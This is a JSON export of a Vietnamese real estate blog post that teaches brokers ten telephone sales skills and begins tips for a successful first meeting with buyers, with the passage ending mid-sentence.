{"id":30011,"date":"2025-10-22T03:58:38","date_gmt":"2025-10-21T20:58:38","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=30011"},"modified":"2025-10-22T03:58:38","modified_gmt":"2025-10-21T20:58:38","slug":"30011-2","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/30011-2\/","title":{"rendered":""},"content":{"rendered":"\n<p><em>B\u1ea1n \u0111ang ho\u1ea1t \u0111\u1ed9ng trong l\u0129nh v\u1ef1c b\u1ea5t \u0111\u1ed9ng s\u1ea3n, b\u1ea1n l\u00e0 m\u1ed9t ng\u01b0\u1eddi m\u00f4 gi\u1edbi ch\u1eafc h\u1eb3n c\u00f4ng vi\u1ec7c t\u01b0 v\u1ea5n kh\u00e1ch h\u00e0ng qua \u0111i\u1ec7n tho\u1ea1i l\u00e0 vi\u1ec7c kh\u00f4ng th\u1ec3 thi\u1ebfu, nh\u01b0ng b\u1ea1n \u0111\u00e3 \u0111\u1ea1t \u0111\u01b0\u1ee3c hi\u1ec7u qu\u1ea3 \u0111\u1ec3 c\u00f3 cu\u1ed9c h\u1eb9n \u0111\u1ea7u ti\u00ean th\u00e0nh c\u00f4ng ch\u01b0a? H\u00e3y c\u00f9ng RETI t\u00ecm hi\u1ec3u ngay nh\u1eefng c\u00e1ch t\u01b0 v\u1ea5n kh\u00e1ch h\u00e0ng qua \u0111i\u1ec7n tho\u1ea1i hi\u1ec7u qu\u1ea3 v\u00e0 c\u00f3 cu\u1ed9c h\u1eb9n \u0111\u1ea7u ti\u00ean th\u00e0nh c\u00f4ng.<\/em><\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69eb9dff85e5c\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69eb9dff85e5c\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#10_ky_nang_giao_tiep_loi_cuon_khach_hang_ma_telesale_can_nam_chac\" >10 k\u1ef9 n\u0103ng giao ti\u1ebfp l\u00f4i cu\u1ed1n kh\u00e1ch h\u00e0ng m\u00e0 telesale c\u1ea7n n\u1eafm ch\u1eafc<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#1_Chuan_bi_kich_ban_telesale\" >1, Chu\u1ea9n b\u1ecb k\u1ecbch b\u1ea3n telesale<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#2_Luon_co_san_so_but_de_ghi_chep\" >2, Lu\u00f4n c\u00f3 s\u1eb5n s\u1ed5 b\u00fat \u0111\u1ec3 ghi ch\u00e9p<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#3_Lua_chon_thoi_diem_goi_dien\" >3, L\u1ef1a ch\u1ecdn th\u1eddi \u0111i\u1ec3m g\u1ecdi \u0111i\u1ec7n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#4_Gioi_thieu_danh_xung_va_muc_dich_cuoc_goi\" >4, Gi\u1edbi thi\u1ec7u danh x\u01b0ng v\u00e0 m\u1ee5c \u0111\u00edch cu\u1ed9c g\u1ecdi<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#5_Thai_do_tich_cuc_than_thien\" >5, Th\u00e1i \u0111\u1ed9 t\u00edch c\u1ef1c, th\u00e2n thi\u1ec7n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#6_Giong_noi_truyen_cam_ro_rang\" >6, Gi\u1ecdng n\u00f3i truy\u1ec1n c\u1ea3m, r\u00f5 r\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#7_Tuyet_doi_khong_de_khach_hang_doc_thoai\" >7, Tuy\u1ec7t \u0111\u1ed1i kh\u00f4ng \u0111\u1ec3 kh\u00e1ch h\u00e0ng \u0111\u1ed9c tho\u1ea1i<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#8_Tap_trung_khi_noi_chuyen\" >8, T\u1eadp trung khi n\u00f3i chuy\u1ec7n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#9_Tom_tat_va_chot_lai_van_de_truoc_khi_ket_thuc_cuoc_goi\" >9, T\u00f3m t\u1eaft v\u00e0 ch\u1ed1t l\u1ea1i v\u1ea5n \u0111\u1ec1 tr\u01b0\u1edbc khi k\u1ebft th\u00fac cu\u1ed9c g\u1ecdi<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#10_Chao_tam_biet\" >10, Ch\u00e0o t\u1ea1m bi\u1ec7t<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#II_Bi_quyet_de_co_cuoc_hen_dau_tien_thanh_cong_voi_khach_hang_mua\" >II\/ B\u00ed quy\u1ebft \u0111\u1ec3 c\u00f3 cu\u1ed9c h\u1eb9n \u0111\u1ea7u ti\u00ean th\u00e0nh c\u00f4ng v\u1edbi kh\u00e1ch h\u00e0ng mua<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#1_Dat_duoc_cuoc_hen_voi_khach_hang\" >1, \u0110\u1eb7t \u0111\u01b0\u1ee3c cu\u1ed9c h\u1eb9n v\u1edbi kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#2_Chu_dong_hen_mot_lich_cu_the\" >2, Ch\u1ee7 \u0111\u1ed9ng h\u1eb9n m\u1ed9t l\u1ecbch c\u1ee5 th\u1ec3<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#3_Nam_duoc_nhu_cau_cua_khach_hang_truoc_cuoc_hen\" >3, N\u1eafm \u0111\u01b0\u1ee3c nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng tr\u01b0\u1edbc cu\u1ed9c h\u1eb9n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/reti.vn\/blog\/30011-2\/#4_Nhung_dieu_can_chuan_bi_cho_cuoc_gap_mat_dau_tien\" >4, Nh\u1eefng \u0111i\u1ec1u c\u1ea7n chu\u1ea9n b\u1ecb cho cu\u1ed9c g\u1eb7p m\u1eb7t \u0111\u1ea7u ti\u00ean<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"10_ky_nang_giao_tiep_loi_cuon_khach_hang_ma_telesale_can_nam_chac\"><\/span>10 k\u1ef9 n\u0103ng giao ti\u1ebfp l\u00f4i cu\u1ed1n kh\u00e1ch h\u00e0ng m\u00e0 telesale c\u1ea7n n\u1eafm ch\u1eafc<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"1_Chuan_bi_kich_ban_telesale\"><\/span>1, Chu\u1ea9n b\u1ecb k\u1ecbch b\u1ea3n telesale<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Khi b\u1ea1n g\u1ecdi \u0111i\u1ec7n v\u1edbi kh\u00e1ch h\u00e0ng, vi\u1ec7c h\u1ecd nghe m\u00e1y v\u00e0 d\u00e0nh th\u1eddi gian cho b\u1ea1n l\u00e0 v\u00f4 c\u00f9ng<br>qu\u00fd b\u00e1u. \u1eacm \u1eeb hay kh\u00f4ng bi\u1ebft n\u00f3i g\u00ec s\u1ebd l\u00e0m ph\u00ed th\u1eddi gian c\u1ee7a b\u1ea1n v\u00e0 ng\u01b0\u1eddi nghe. Kh\u00e1ch h\u00e0ng s\u1ebd c\u1ea3m<br>th\u1ea5y kh\u00f4ng mu\u1ed1n ti\u1ebfp t\u1ee5c \u0111\u1ec3 trao \u0111\u1ed5i th\u00f4ng tin, th\u1eadm ch\u00ed l\u00e0 s\u1ebd t\u1eaft ngang m\u00e1y.<br>Mu\u1ed1n tr\u00e1nh kh\u1ecfi \u0111i\u1ec1u \u0111\u00f3, b\u1ea1n n\u00ean chu\u1ea9n b\u1ecb tr\u01b0\u1edbc n\u1ed9i dung cu\u1ed9c tho\u1ea1i c\u1ea7n n\u00f3i, s\u1eafp x\u1ebfp c\u00e1c \u00fd<br>t\u01b0\u1edfng sao cho ph\u00f9 h\u1ee3p.<br>Theo th\u1ed1ng k\u00ea v\u1ec1 k\u1ef9 n\u0103ng giao ti\u1ebfp hi\u1ec7u qu\u1ea3, th\u1eddi l\u01b0\u1ee3ng \u201cv\u00e0ng\u201d cho c\u00e1c cu\u1ed9c g\u1ecdi ch\u00ednh l\u00e0 t\u1eeb<br>30 gi\u00e2y \u0111\u1ebfn 1 ph\u00fat \u0111\u1ea7u ti\u00ean. Ch\u00ednh v\u00ec v\u1eady, b\u1ea1n n\u00ean c\u00e2n nh\u1eafc \u0111\u1ec3 \u0111\u01b0a ra nh\u1eefng \u00fd quan tr\u1ecdng l\u00ean \u0111\u1ea7u<br>trong k\u1ecbch b\u1ea3n telesale.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"2_Luon_co_san_so_but_de_ghi_chep\"><\/span>2, Lu\u00f4n c\u00f3 s\u1eb5n s\u1ed5 b\u00fat \u0111\u1ec3 ghi ch\u00e9p<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Tr\u01b0\u1edbc khi n\u00f3i chuy\u1ec7n v\u1edbi kh\u00e1ch h\u00e0ng, b\u1ea1n h\u00e3y chu\u1ea9n b\u1ecb s\u1eb5n m\u1ed9t cu\u1ed1n s\u1ed5 tay v\u00e0 c\u00e2y b\u00fat nh\u1eb1m<br>ghi ch\u00e9p l\u1ea1i nh\u1eefng th\u00f4ng tin quan tr\u1ecdng, \u0111\u1ed3ng th\u1eddi h\u00e3y ch\u1eafc ch\u1eafn r\u1eb1ng b\u1ea1n kh\u00f4ng b\u1ecf l\u1ee1 b\u1ea5t k\u1ef3 chi ti\u1ebft<br>quan tr\u1ecdng n\u00e0o. Khi b\u1ea1n giao ti\u1ebfp hi\u1ec7u qu\u1ea3, b\u1ea1n c\u00f3 th\u1ec3 hi\u1ec3u r\u00f5 kh\u00e1ch h\u00e0ng v\u00e0 t\u1eeb \u0111\u00f3 c\u00f3 th\u1ec3 ch\u1ee7 \u0111\u1ed9ng<br>h\u1ed7 tr\u1ee3 c\u00e1c c\u00e2u h\u1ecfi hay th\u1eafc m\u1eafc t\u1eeb ph\u00eda h\u1ecd. \u0110\u1eb7c bi\u1ec7t h\u01a1n, khi kh\u00e1ch h\u00e0ng ch\u1ee7 \u0111\u1ed9ng g\u1ecdi \u0111i\u1ec7n \u0111\u1ebfn, b\u1ea1n<br>c\u1ea7n khai th\u00e1c th\u00f4ng tin c\u1ea7n thi\u1ebft m\u1ed9t c\u00e1ch \u0111\u1ea7y \u0111\u1ee7 nh\u1ea5t \u0111\u1ec3 thu\u1eadn ti\u1ec7n cho c\u00e1c d\u1ecbch v\u1ee5 ch\u0103m s\u00f3c hay<br>marketing sau n\u00e0y.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"3_Lua_chon_thoi_diem_goi_dien\"><\/span>3, L\u1ef1a ch\u1ecdn th\u1eddi \u0111i\u1ec3m g\u1ecdi \u0111i\u1ec7n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0110\u1ec3 cu\u1ed9c g\u1ecdi \u0111i\u1ec7n c\u1ee7a b\u1ea1n th\u00e0nh c\u00f4ng th\u00ec th\u1eddi \u0111i\u1ec3m g\u1ecdi \u0111i\u1ec7n tho\u1ea1i l\u00e0 m\u1ed9t y\u1ebfu t\u1ed1 v\u00f4 c\u00f9ng quan<br>tr\u1ecdng c\u1ea7n l\u01b0u \u00fd. B\u1ea1n n\u00ean tr\u00e1nh g\u1ecdi v\u00e0o nh\u1eefng kho\u1ea3ng th\u1eddi gian ngo\u00e0i gi\u1edd l\u00e0m vi\u1ec7c nh\u01b0 l\u00e0: s\u00e1ng s\u1edbm,<br>gi\u1eefa tr\u01b0a ho\u1eb7c bu\u1ed5i t\u1ed1i, v\u00ec \u0111\u00e2y l\u00e0 l\u00fac m\u1ecdi ng\u01b0\u1eddi \u0111ang ngh\u1ec9 ng\u01a1i, gi\u1ea3i tr\u00ed v\u00e0 h\u1ecd s\u1ebd kh\u00f4ng mu\u1ed1n ti\u1ebfp<br>nh\u1eadn th\u00eam b\u1ea5t k\u1ef3 th\u00f4ng tin g\u00ec. H\u00e3y kh\u00f4n ngoan v\u00e0 l\u1ef1a ch\u1ecdn c\u00e1c khung gi\u1edd ph\u00f9 h\u1ee3p nh\u1ea5t \u0111\u1ec3 g\u1ecdi \u0111i\u1ec7n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"4_Gioi_thieu_danh_xung_va_muc_dich_cuoc_goi\"><\/span>4, Gi\u1edbi thi\u1ec7u danh x\u01b0ng v\u00e0 m\u1ee5c \u0111\u00edch cu\u1ed9c g\u1ecdi<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Khi g\u1ecdi \u0111i\u1ec7n cho kh\u00e1ch h\u00e0ng th\u00ec vi\u1ec7c \u0111\u1ea7u ti\u00ean b\u1ea1n ph\u1ea3i ch\u00e0o h\u1ecfi, x\u01b0ng danh t\u00ednh v\u00e0 gi\u1edbi thi\u1ec7u<br>b\u1ea3n th\u00e2n (t\u00ean, \u0111\u1ecba v\u1ecb hay t\u00ean c\u00f4ng ty) \u0111\u1ec3 ng\u01b0\u1eddi nghe bi\u1ebft ai \u0111ang n\u00f3i chuy\u1ec7n v\u1edbi m\u00ecnh. B\u1ea1n c\u0169ng n\u00ean<br>c\u00e2n nh\u1eafc l\u1ea1i th\u00f4ng tin c\u1ee7a ng\u01b0\u1eddi nh\u1eadn \u0111\u1ec3 c\u00f3 th\u1ec3 ch\u1eafc r\u1eb1ng m\u00ecnh \u0111\u00e3 g\u1ecdi \u0111\u00fang.<br>Vi\u1ec7c ti\u1ebfp theo c\u1ee7a k\u1ef9 n\u0103ng giao ti\u1ebfp trong kinh doanh l\u00e0 b\u1ea1n n\u00ean n\u00f3i ra m\u1ee5c \u0111\u00edch c\u1ee7a cu\u1ed9c<br>g\u1ecdi. \u0110i\u1ec1u \u0111\u00f3 s\u1ebd gi\u00fap cho ng\u01b0\u1eddi nghe nh\u1eadn bi\u1ebft \u0111\u01b0\u1ee3c v\u1ea5n \u0111\u1ec1 m\u00e0 b\u1ea1n s\u1eafp n\u00f3i v\u00e0 \u0111\u1ed3ng th\u1eddi c\u0169ng t\u1ea1o cho<br>h\u1ecd m\u1ed9t kho\u1ea3ng th\u1eddi gian nh\u1ea5t \u0111\u1ecbnh \u0111\u1ec3 r\u00e0 so\u00e1t l\u1ea1i nh\u1eefng th\u00f4ng tin li\u00ean quan.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"5_Thai_do_tich_cuc_than_thien\"><\/span>5, Th\u00e1i \u0111\u1ed9 t\u00edch c\u1ef1c, th\u00e2n thi\u1ec7n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Kh\u00e1ch h\u00e0ng kh\u00f4ng th\u1ec3 \u0111\u00e1nh gi\u00e1 \u0111\u01b0\u1ee3c v\u1ebb b\u1ec1 ngo\u00e0i, t\u00e1c phong hay c\u1eed ch\u1ec9 c\u1ee7a b\u1ea1n v\u00ec \u0111ang<br>giao ti\u1ebfp \u0111i\u1ec7n tho\u1ea1i, n\u00ean \u0111i\u1ec1u duy nh\u1ea5t h\u1ecd c\u1ea3m nh\u1eadn \u0111\u01b0\u1ee3c l\u00e0 s\u1ef1 chuy\u00ean nghi\u1ec7p qua cu\u1ed9c h\u1ed9i tho\u1ea1i,<br>\u0111i\u1ec1u \u0111\u01b0\u1ee3c th\u1ec3 hi\u1ec7n qua th\u00e1i \u0111\u1ed9 v\u00e0 gi\u1ecdng \u0111i\u1ec7u. V\u00ec v\u1eady, h\u00e3y lu\u00f4n gi\u1eef m\u1ed9t gi\u1ecdng n\u00f3i nh\u1eb9 nh\u00e0ng, truy\u1ec1n<br>c\u1ea3m gi\u00fap mang l\u1ea1i c\u1ea3m gi\u00e1c tho\u1ea3i m\u00e1i v\u00e0 d\u1ec5 ch\u1ecbu cho ng\u01b0\u1eddi l\u1eafng nghe.<br>Ngh\u1ec7 thu\u1eadt giao ti\u1ebfp \u0111\u1ec3 th\u00e0nh c\u00f4ng n\u1eb1m \u1edf s\u1ef1 vui v\u1ebb, t\u00edch c\u1ef1c v\u00e0 nhi\u1ec7t t\u00ecnh. Th\u00e1i \u0111\u1ed9 th\u00e2n<br>thi\u1ec7n, lu\u00f4n l\u1eafng nghe, th\u1ea5u hi\u1ec3u kh\u00e1ch h\u00e0ng s\u1ebd t\u1ea1o ra nhi\u1ec1u hi\u1ec7u \u1ee9ng t\u00edch c\u1ef1c cho cu\u1ed9c n\u00f3i chuy\u1ec7n tr\u1edf<br>n\u00ean th\u00fa v\u1ecb h\u01a1n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"6_Giong_noi_truyen_cam_ro_rang\"><\/span>6, Gi\u1ecdng n\u00f3i truy\u1ec1n c\u1ea3m, r\u00f5 r\u00e0ng<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0110i\u1ec1u \u0111\u1ea7u ti\u00ean, khi g\u1ecdi \u0111i\u1ec7n \u0111\u1ec3 t\u01b0 v\u1ea5n ho\u1eb7c th\u01b0\u01a1ng l\u01b0\u1ee3ng v\u1edbi kh\u00e1ch, b\u1ea1n n\u00ean s\u1eed d\u1ee5ng c\u00e1c t\u1eeb<br>ng\u1eef d\u1ec5 hi\u1ec3u ho\u1eb7c tr\u00e1nh d\u00f9ng c\u00e1c thu\u1eadt ng\u1eef chuy\u00ean ng\u00e0nh ho\u1eb7c n\u00f3i xen k\u1ebd hai ng\u00f4n ng\u1eef, tr\u00e1nh khi\u1ebfn<br>cho kh\u00e1ch h\u00e0ng c\u1ea3m th\u1ea5y kh\u00f3 ch\u1ecbu v\u00e0 kh\u00f4ng hi\u1ec3u b\u1ea1n mu\u1ed1n n\u00f3i g\u00ec ho\u1eb7c cho r\u1eb1ng b\u1ea1n l\u00e0 ng\u01b0\u1eddi th\u00edch<br>th\u1ec3 hi\u1ec7n.<br>Th\u1ee9 hai, b\u1ea1n n\u00ean n\u00f3i v\u1edbi m\u1ed9t t\u1ed1c \u0111\u1ed9 v\u1eeba ph\u1ea3i, r\u00f5 r\u00e0ng \u0111\u1ec3 ng\u01b0\u1eddi nghe n\u1eafm \u0111\u01b0\u1ee3c n\u1ed9i dung v\u00e0<br>k\u1ecbp thu nh\u1eadn th\u00f4ng tin. N\u00f3i qu\u00e1 nhanh s\u1ebd kh\u00f4ng gi\u00fap ti\u1ebft ki\u1ec7m th\u1eddi gian \u0111\u00e2u, m\u00e0 c\u00f3 th\u1ec3 s\u1ebd khi\u1ebfn b\u1ea1n<br>ph\u1ea3i l\u1eb7p l\u1ea1i l\u1eddi n\u00f3i nhi\u1ec1u l\u1ea7n \u0111\u1ec3 gi\u1ea3i th\u00edch v\u00e0 s\u1ebd l\u00e0m t\u1ed1n th\u1eddi gian c\u1ee7a c\u1ea3 hai b\u00ean.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"7_Tuyet_doi_khong_de_khach_hang_doc_thoai\"><\/span>7, Tuy\u1ec7t \u0111\u1ed1i kh\u00f4ng \u0111\u1ec3 kh\u00e1ch h\u00e0ng \u0111\u1ed9c tho\u1ea1i<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Khi kh\u00e1ch h\u00e0ng l\u00e0 ng\u01b0\u1eddi g\u1ecdi \u0111i\u1ec7n, h\u1ecd th\u01b0\u1eddng \u0111\u00e3 chu\u1ea9n b\u1ecb r\u1ea5t k\u1ef9 n\u1ed9i dung cu\u1ed9c tr\u00f2 chuy\u1ec7n v\u00e0<br>s\u1eb5n s\u00e0ng ch\u1ee7 \u0111\u1ed9ng \u0111i v\u00e0o v\u1ea5n \u0111\u1ec1, \u0111\u1eb7t c\u00e2u h\u1ecfi cho b\u1ea1n\u2026 H\u1ecd s\u1ebd n\u00f3i nhi\u1ec1u, nh\u01b0ng b\u1ea1n \u0111\u1eebng ch\u1ec9 bi\u1ebft im<br>l\u1eb7ng, h\u00e3y \u0111\u00e1p l\u1ea1i h\u1ecd b\u1eb1ng nh\u1eefng c\u00e2u nh\u01b0: \u201cV\u00e2ng\u201d, \u201cd\u1ea1, em hi\u1ec3u\u201d,\u2026\u0110i\u1ec1u n\u00e0y th\u1ec3 hi\u1ec7n r\u1eb1ng b\u1ea1n v\u1eabn<br>\u0111ang l\u1eafng nghe v\u00e0 hi\u1ec3u h\u1ecd \u0111ang n\u00f3i g\u00ec.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"8_Tap_trung_khi_noi_chuyen\"><\/span>8, T\u1eadp trung khi n\u00f3i chuy\u1ec7n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Khi n\u00f3i chuy\u1ec7n qua \u0111i\u1ec7n tho\u1ea1i, b\u1ea1n kh\u00f4ng n\u00ean l\u00e0m vi\u1ec7c ri\u00eang nh\u01b0 l\u00e0: \u0103n u\u1ed1ng hay l\u01b0\u1edbt web\u2026<br>k\u1ec3 c\u1ea3 khi b\u1ea1n l\u00e0 ng\u01b0\u1eddi nghe. \u0110i\u1ec1u \u0111\u00f3 s\u1ebd khi\u1ebfn b\u1ea1n b\u1ecb xao nh\u00e3ng, l\u01a1 l\u00e0 v\u00e0 b\u1ecf l\u1ee1 nhi\u1ec1u n\u1ed9i dung b\u1ed5 \u00edch,<br>c\u00f3 th\u1ec3 g\u00e2y gi\u00e1n \u0111o\u1ea1n cu\u1ed9c h\u1ed9i tho\u1ea1i.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"9_Tom_tat_va_chot_lai_van_de_truoc_khi_ket_thuc_cuoc_goi\"><\/span>9, T\u00f3m t\u1eaft v\u00e0 ch\u1ed1t l\u1ea1i v\u1ea5n \u0111\u1ec1 tr\u01b0\u1edbc khi k\u1ebft th\u00fac cu\u1ed9c g\u1ecdi<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Ngh\u1ec7 thu\u1eadt giao ti\u1ebfp \u0111\u1ec3 th\u00e0nh c\u00f4ng ch\u00ednh l\u00e0 ng\u01b0\u1eddi n\u00f3i, b\u1ea1n c\u1ea7n nh\u1eafc l\u1ea1i n\u1ed9i dung c\u1ee7a cu\u1ed9c<br>tr\u00f2 chuy\u1ec7n \u0111\u1ec3 ch\u1eafc r\u1eb1ng \u0111\u1ed1i ph\u01b0\u01a1ng \u0111\u00e3 n\u1eafm \u0111\u01b0\u1ee3c t\u1ea5t c\u1ea3 nh\u1eefng n\u1ed9i dung h\u1ecd \u0111\u00e3 trao \u0111\u1ed5i. \u0110\u1ed3ng th\u1eddi<br>vi\u1ec7c n\u00e0y c\u00f2n gi\u00fap cho b\u1ea1n ki\u1ec3m tra l\u1ea1i c\u00e1c th\u00f4ng tin n\u1ebfu c\u00f3 sai l\u1ec7ch v\u00e0 tr\u00e1nh \u0111\u01b0\u1ee3c nh\u1eefng r\u1eafc r\u1ed1i sau<br>n\u00e0y.<br>Trong k\u1ef9 n\u0103ng giao ti\u1ebfp th\u00ec \u0111\u00e2y c\u0169ng l\u00e0 c\u00e1ch th\u1ec3 hi\u1ec7n b\u1ea1n r\u1ea5t quan t\u00e2m t\u1edbi c\u00e1c v\u1ea5n \u0111\u1ec1 m\u00e0<br>kh\u00e1ch h\u00e0ng chia s\u1ebb, khi\u1ebfn h\u1ecd c\u1ea3m th\u1ea5y \u0111\u01b0\u1ee3c t\u00f4n tr\u1ecdng v\u00e0 tin t\u01b0\u1edfng b\u1ea1n nhi\u1ec1u h\u01a1n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"10_Chao_tam_biet\"><\/span>10, Ch\u00e0o t\u1ea1m bi\u1ec7t<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Tr\u01b0\u1edbc khi ch\u00e0o t\u1ea1m bi\u1ec7t kh\u00e1ch h\u00e0ng, b\u1ea1n h\u00e3y th\u1eed ghi \u0111i\u1ec3m tuy\u1ec7t \u0111\u1ed1i v\u1edbi kh\u00e1ch h\u00e0ng b\u1eb1ng<br>c\u00e1c c\u00e2u ch\u00fac t\u1ed1t l\u00e0nh hay m\u1ed9t l\u1eddi c\u1ea3m \u01a1n b\u1edfi v\u00ec \u0111\u00e3 d\u00e0nh th\u1eddi gian cho cu\u1ed9c g\u1ecdi n\u00e0y. \u0110i\u1ec1u \u0111\u00f3 s\u1ebd khi\u1ebfn<br>h\u1ecd c\u1ea3m th\u1ea5y vui v\u1ebb, tho\u1ea3i m\u00e1i, b\u00ean c\u1ea1nh \u0111\u00f3 c\u0169ng th\u1ec3 hi\u1ec7n b\u1ea1n l\u00e0 m\u1ed9t ng\u01b0\u1eddi chu \u0111\u00e1o, l\u1ecbch s\u1ef1. V\u00e0 \u0111\u1eebng<br>qu\u00ean ph\u1ea3i \u0111\u1ec3 kh\u00e1ch h\u00e0ng g\u00e1c m\u00e1y xu\u1ed1ng tr\u01b0\u1edbc b\u1ea1n nh\u00e9!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"II_Bi_quyet_de_co_cuoc_hen_dau_tien_thanh_cong_voi_khach_hang_mua\"><\/span>II\/ B\u00ed quy\u1ebft \u0111\u1ec3 c\u00f3 cu\u1ed9c h\u1eb9n \u0111\u1ea7u ti\u00ean th\u00e0nh c\u00f4ng v\u1edbi kh\u00e1ch h\u00e0ng mua<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Cu\u1ed9c \u0111i\u1ec7n tho\u1ea1i \u0111\u1ea7u ti\u00ean quan tr\u1ecdng nh\u01b0 th\u1ebf n\u00e0o th\u00ec cu\u1ed9c g\u1eb7p m\u1eb7t \u0111\u1ea7u ti\u00ean v\u1edbi kh\u00e1ch h\u00e0ng<br>c\u00f2n quan tr\u1ecdng h\u01a1n th\u1ebf nhi\u1ec1u l\u1ea7n. C\u00f3 th\u1ec3 n\u00f3i, 